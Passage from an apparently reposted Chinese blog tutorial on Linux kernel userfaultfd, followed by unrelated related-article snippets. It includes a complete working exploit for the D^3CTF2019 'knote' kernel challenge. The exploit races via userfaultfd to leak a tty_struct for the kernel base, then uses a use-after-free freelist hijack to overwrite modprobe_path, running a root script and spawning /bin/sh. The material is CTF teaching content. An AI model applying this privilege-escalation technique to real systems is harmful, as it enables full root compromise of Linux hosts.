        //poll 函数等待 userfaultfd 的事件
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }

        //poll 函数返回的结果
        puts("\nfault_handler_thread():");
        printf("    poll() returns: nready = %d; POLLIN = %d; POLLERR = %d\n",
               nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0);

        //从 userfaultfd 读取事件
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }

        //userfaultfd 的事件应当是缺页错误事件
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        //userfaultfd 返回的缺页错误相关信息
        printf("    UFFD_EVENT_PAGEFAULT event: ");
        printf("flags = 0x%llx; ", msg.arg.pagefault.flags);
        printf("address = 0x%llx\n", msg.arg.pagefault.address);

        //用户自定义的处理缺页错误的部分
        static int fault_cnt = 0;
        memset(page, 'A' + fault_cnt % 20, page_size);
        fault_cnt++;

        //将内容复制到目标位置,注意页对齐
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
        printf("        (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
    }
}

int main() {
    //获取内存页长度
    page_size = (int) sysconf(_SC_PAGE_SIZE);

    printf("[*] page size: 0x%x\n", page_size);

    //系统调用创建 userfaultfd
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("Error at: userfaultfd");
        exit(-1);
    }

    //设置 userfaultfd 调用接口
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("Error at: ioctl-UFFDIO_API");
        exit(-1);
    }

    //mmap 映射一块虚拟内存
    char *addr = (char *) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (addr == MAP_FAILED) {
        puts("Error at: mmap");
        exit(-1);
    }

    printf("[*] mmap addr: 0x%lx\n", (size_t) addr);

    //在创建的 userfaultfd 上注册一块内存,注册的内存区域覆盖刚才 mmap 映射的虚拟内存
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = page_size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }

    //创建一个线程处理注册的内存区域发生的缺页中断
    pthread_t thr;
    int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
    if (s != 0) {
        puts("Error at: pthread_create");
        exit(-1);
    }

    //访问 mmap 映射的虚拟内存触发缺页中断
    size_t ptr = *(unsigned long long *) addr;
    printf("[*] Get data: 0x%lx\n", ptr);

    return 0;
}

运行结果如图,自定义的缺页处理函数向缺页处写入了数据。在这里插入图片描述
需要说明的是,新版本内核 fs/userfaultfd.c 中全局变量 sysctl_unprivileged_userfaultfd 初始化为 1,这意味着只有 root 权限用户才能使用 userfaultfd 。

例题:D^3CTF2019 - knote

有 add,dele,edit,get 4种功能,ioctl 不能调用超过 9 次。其中 edit 和 get 没有加锁。
首先是内核地址泄露。利用 userfaultfd 制造将获取数据的内存块替换成 tty_struct,然后从其中的数据获取内核基地址。

第二次同理,利用 userfaultfd 构造 UAF 劫持 freelist 修改 modprobe_path 使得修改 flag 文件权限的 shell 脚本以管理员权限执行。
在这里插入图片描述
这样构造 Race condition 需要 sleep 效率较低,即使保存泄露的基址避免重复爆破依然需要长时间爆破。

#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <stdbool.h>

const int TTY_STRUCT_SIZE = 0x2e0;
const size_t DO_SAK_WORK = 0xffffffff815d4ef0;
const size_t MODPROBE_PATH = 0xffffffff8245c5c0;
char *page;
long page_size;

void *fault_handler_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        sleep(4);
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }
        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
    }
}

void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) {
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("[-] Error at: userfaultfd");
        exit(-1);
    }
    struct uffdio_api uffdio_api = {.api=UFFD_API, .features=0};
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_API");
        exit(-1);
    }
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }
    static pthread_t monitor_thread;
    if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
        puts("[-] Error at: pthread_create");
        exit(-1);
    }
}

typedef struct {
    union {
        size_t size;
        size_t index;
    };
    char *buf;
} Chunk;
long knote_fd;

void chunk_add(size_t size) {
    Chunk chunk = {.size=size};
    ioctl((int) knote_fd, 0x1337, &chunk);
}

void chunk_edit(size_t index, char *buf) {
    Chunk chunk = {.index=index, .buf=buf};
    ioctl((int) knote_fd, 0x8888, &chunk);
}

void chunk_get(size_t index, char *buf) {
    Chunk chunk = {.index=index, .buf=buf};
    ioctl((int) knote_fd, 0x2333, &chunk);
}

void chunk_del(size_t index) {
    Chunk chunk = {.index=index};
    ioctl((int) knote_fd, 0x6666, &chunk);
}

int main() {
    page_size = getpagesize();
    char *buf1 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    char *buf2 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(buf1, 0x1000, (void *) fault_handler_thread);
    register_userfaultfd(buf2, 0x1000, (void *) fault_handler_thread);
    page = malloc(0x1000);
    void *kernel_base = (void *) 0xffffffff81000000;
    size_t kernel_offset = 0;
    FILE *addr_fp = fopen("/addr.txt", "r");
    knote_fd = open("/dev/knote", O_RDWR);
    if (addr_fp != NULL) {
        fscanf(addr_fp, "%llx %llx", &kernel_base, &kernel_offset);
        fclose(addr_fp);
    } else {
        chunk_add(TTY_STRUCT_SIZE);
        pid_t pid = fork();
        if (pid < 0) {
            puts("[-] FAILED to fork the child");
            exit(-1);
        } else if (pid == 0) {
            puts("[*] Child process sleeping now...");
            sleep(1);
            puts("[*] Child process started.");
            chunk_del(0);
            sleep(1);
            open("/dev/ptmx", O_RDWR);
            puts("[*] Object free and tty got open. Backing parent thread...");
            exit(0);
        } else {
            puts("[*] Parent process trapped in userfaultfd...");
            chunk_get(0, buf1);
            puts("[*] tty struct data obtained");
        }
        for (int i = 0; i < 0x58; i++) {
            printf("[----data-dump----] %d: %p\n", i, ((size_t *) buf1)[i]);
        }
        if (((size_t *) buf1)[86]) {
            puts("[+] Successfully hit the tty_struct.");
            kernel_offset = ((size_t *) buf1)[86] - DO_SAK_WORK;
            kernel_base = (void *) ((size_t) kernel_base + kernel_offset);
        } else {
            puts("[-] Failed to hit the tty struct.");
            exit(-1);
        }
        addr_fp = fopen("/addr.txt", "w");
        fprintf(addr_fp, "%llx %llx", kernel_base, kernel_offset);
        fclose(addr_fp);
    }
    size_t modprobe_path = MODPROBE_PATH + kernel_offset;
    printf("[*] Kernel offset: %p\n", kernel_offset);
    printf("[*] Kernel base: %p\n", kernel_base);
    printf("[*] modprobe_path: %p\n", modprobe_path);
    if (open("/shell.sh", O_RDWR) < 0) {
        system("echo '#!/bin/sh' >> /shell.sh");
        system("echo 'chmod 777 /flag' >> /shell.sh");
        system("chmod +x /shell.sh");
    }
    chunk_add(0x100);
    memcpy(page, &modprobe_path, 8);
    pid_t pid = fork();
    if (pid < 0) {
        puts("[-] FAILED to fork the child");
        exit(-1);
    } else if (pid == 0) {
        puts("[*] Child process sleeping now...");
        sleep(1);
        puts("[*] Child process started.");
        chunk_del(0);
        puts("[*] UAF constructed");
        exit(0);
    } else {
        puts("[*] Parent process trapped in userfaultfd...");
        chunk_edit(0, buf2);
        puts("[*] Hijack finished");
    }
    chunk_add(0x100);
    chunk_add(0x100);
    chunk_edit(1, "/shell.sh");
    system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
    system("chmod +x /fake");
    system("/fake");
    if (open("/flag", O_RDWR) < 0) {
        puts("FAILED to hijack!");
        exit(-1);
    }
    puts("[+] hijack success");
    system("/bin/sh");
    return 0;
}

不难想到,可以将子线程的逻辑写到 userfaule_fd 的处理函数中,因为页错误发生和处理页错误的顺序是确定的,因此保证了 Race condition 的顺序。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/537709.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

工信部认可! 开源网安“源码级软件开发安全解决方案”成功入选优秀方案

日前&#xff0c;开源网安“源码级软件开发安全解决方案”成功入选工信部网络安全产业发展中心“2022年信息技术应用创新解决方案”&#xff0c;成为经工业部认可的优秀解决方案。 据悉&#xff0c;由工业和信息化部网络安全产业发展中心&#xff08;工业和信息化部信息中心&am…

【Leetcode刷题】算法:罗马数字转整数

文章目录 一、问题二、代码理解 一、问题 二、代码理解 class Solution:def romanToInt(self, s: str) -> int:answer0length len(s)d{I:1,V:5,X:10, L:50,C:100, D:500,M:1000}for i in range(length-1):if d[s[i1]]>d[s[i]]:answeranswer-d[s[i]]else:answeranswerd[…

2023年市场规模将超147亿美元,中国人工智能产业的“风口”来了吗?

2023年IDC中国ICT市场趋势论坛于5月10日召开&#xff0c;会议重点探讨了人工智能、工业互联网、网络安全、大数据、云计算等领域&#xff0c;并强调了智能终端、智慧城市和半导体等行业的前景。 IDC预计&#xff0c;中国人工智能市场规模在2023年将超过147亿美元&#xff0c;到…

Day2 排序子序列、倒置字符串

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; C/C相关题解 &#x1f383;操作环境&#xff1a; Visual Studio 2019 版本 16.11.17 文章目录 选择题1.字符串/C指针2.计算机组成原理 编程题1.排序子序列2.倒置字符串 选择题 1.字符串/C指针 题目&#xff…

【网络协议详解】——数据链路层协议(学习笔记)

&#x1f4d6; 前言&#xff1a;数据链路层是 OSI 模型中的第二层&#xff0c;位于物理层之上&#xff0c;是通信网络中的重要组成部分之一。数据链路层协议负责将网络层传输的数据分组封装成帧&#xff0c;传输到物理层&#xff0c;并通过物理介质进行传输。同时&#xff0c;数…

为什么有些同事昨天还干的好好地,今天就离职了老板都留不住?

HR时常会遭遇员工突发申请离职&#xff0c;对于一些核心岗位员工的离职&#xff0c;甚至没有时间去挽留。 但从心理学的角度来说&#xff0c;人的行为与意识是相互反应、互加映衬的。 也就是说&#xff0c;员工离职意识的产生与发展&#xff0c; 与他近期的行为息息相关。 与…

零基础学软件测试怎么样? 完好就业吗

在当今数字化快速发展的社会中&#xff0c;软件行业已经成为了一个具有巨大潜力和广阔前景的行业。而软件测试作为软件开发过程中不可或缺的一部分&#xff0c;也因此成为了备受瞩目的职业之一。 对于零基础的人来说&#xff0c;学习软件测试是一项非常实用的技能&#xff0c;…

PyQt5开发入门到IP查询工具实现

1 基本介绍 1.1 简介 ,QT 是最强大的 GUI 库之一&#xff0c;PyQt 是 Python 绑定 QT 应用的框架,是最强大和流行的跨平台 GUI 库之一。 PyQt 兼容所有流行的操作系统&#xff0c;包括 Windows、Linux 和 Mac OS。 它是双重许可的&#xff0c;可在 GPL 和商业许可下使用。新…

stm32f407单片机上通过HAL库实现can总线数据的收发

最近在使用can总线&#xff0c;由于这个以前接触的比较少&#xff0c;所以调试代码的时候直接是下载的正点原子的例程&#xff0c;在这个基础上修改调试的。现在将调试中遇到的问题&#xff0c;总结一下&#xff0c;避免以后踩坑。目前写了一个查询方式的&#xff0c;一个中断方…

Kubernetes第4天

第六章 Pod控制器详解 本章节主要介绍各种Pod控制器的详细使用。 Pod控制器介绍 Pod是kubernetes的最小管理单元&#xff0c;在kubernetes中&#xff0c;按照pod的创建方式可以将其分为两类&#xff1a; 自主式pod&#xff1a;kubernetes直接创建出来的Pod&#xff0c;这种p…

Nginx的原理

Nginx的原理 1、mater 和 worker2、worker 如何进行工作的3、一个 master 和多个 woker 有好处4、设置多少个 woker 合适5、连接数 worker_connection 1、mater 和 worker 2、worker 如何进行工作的 3、一个 master 和多个 woker 有好处 &#xff08;1&#xff09;可以使用 ng…

Kubernetes第5天

第七章 Service详解 本章节主要介绍kubernetes的流量负载组件&#xff1a;Service和Ingress。 Service介绍 ​ 在kubernetes中&#xff0c;pod是应用程序的载体&#xff0c;我们可以通过pod的ip来访问应用程序&#xff0c;但是pod的ip地址不是固定的&#xff0c;这也就意味着…

【计算机网络详解】——数据链路层(学习笔记)

&#x1f4d6; 前言&#xff1a;数据链路层提供了一种在不可靠的物理介质上传输数据的方式&#xff0c;并负责在网络层和物理层之间提供一个可靠的通信连接。本文将对数据链路层进行详细的介绍&#xff0c;包括数据链路层的定义、协议、功能和应用等方面。 目录 &#x1f552; …

Jenkins持续集成之jenkins安装入门教学

Jenkins安装 1、下载jenkins&#xff1b;官方地址&#xff1a;https://www.jenkins.io/ 2、点击Download 3、下载windows版本的安装包后缀为msi&#xff1b; 4、双击安装&#xff1b;如下图 5、安装到指定的盘&#xff1b;再点击next 6、勾选第一个框&#xff1b;再点击next 7…

《Netty》从零开始学netty源码(五十八)之NioEventLoop.execute()

目录 NioEventLoop.execute()addTask()startThread()NioEventLoop.run()select()处理keys与执行任务processSelectedKeys()处理AbstractNioChannelselectAgain() runAllTasks()fetchFromScheduledTaskQueue()runAllTasksFrom()afterRunningAllTasks() 带截止时间的runAllTasks(…

国考省考行测:图形推理题1,2平移,旋转,翻转

国考省考行测&#xff1a;图形推理题1,2平移&#xff0c;旋转&#xff0c;翻转 2022找工作是学历、能力和运气的超强结合体! 公务员特招重点就是专业技能&#xff0c;附带行测和申论&#xff0c;而常规国考省考最重要的还是申论和行测&#xff0c;所以大家认真准备吧&#xff…

[数据结构 -- C语言] 栈(Stack)

目录 1、栈 1.1 栈的概念及结构 2、栈的实现 2.1 接口 3、接口的实现 3.1 初始化 3.2 入栈/压栈 3.3 出栈 3.4 获取栈顶元素 3.5 获取栈中有效元素个数 3.6.1 bool 类型接口 3.6.2 int 类型接口 3.7 销毁栈 4、完整代码 5、功能测试 1、栈 1.1 栈的概念及结构 …

软件测试工程师简历要怎么写,才能让HR看到

作为软件测试的从业者&#xff0c;面试或者被面试都是常有的事。 可是不管怎样&#xff0c;和简历有着理不清的关系&#xff0c;面试官要通过简历了解面试者的基本信息、过往经历等。】、 如果你不知道软件测试简历怎么写&#xff0c;可以看看这个视频是怎么写的&#xff0c;…

ARM-底层/Day2

.text .global _start _start:mov r0,#9mov r1,#15bl cmp_funccmp_func:cmp r0,r1beq stop 相等则跳转结束 subhi r0,r0,r1subcc r1,r1,r0mov pc,lr 不相等则返回执行 stop: b stop .end 循环实现1~100之间的和 .text .global _start _start:mov r0,#0mov r1,#1bl sum_fun…

CCF-CSP 202104-1 灰度直方图

简单的一题&#xff0c;理解题意&#xff0c;使用哈希数组即可 #include<iostream>using namespace std;int L,n,m; int mapp[505][505]; int arr[300];int main(){cin>>n>>m>>L;for(int i0;i<n;i){for(int j0;j<m;j){cin>>mapp[i][j];arr…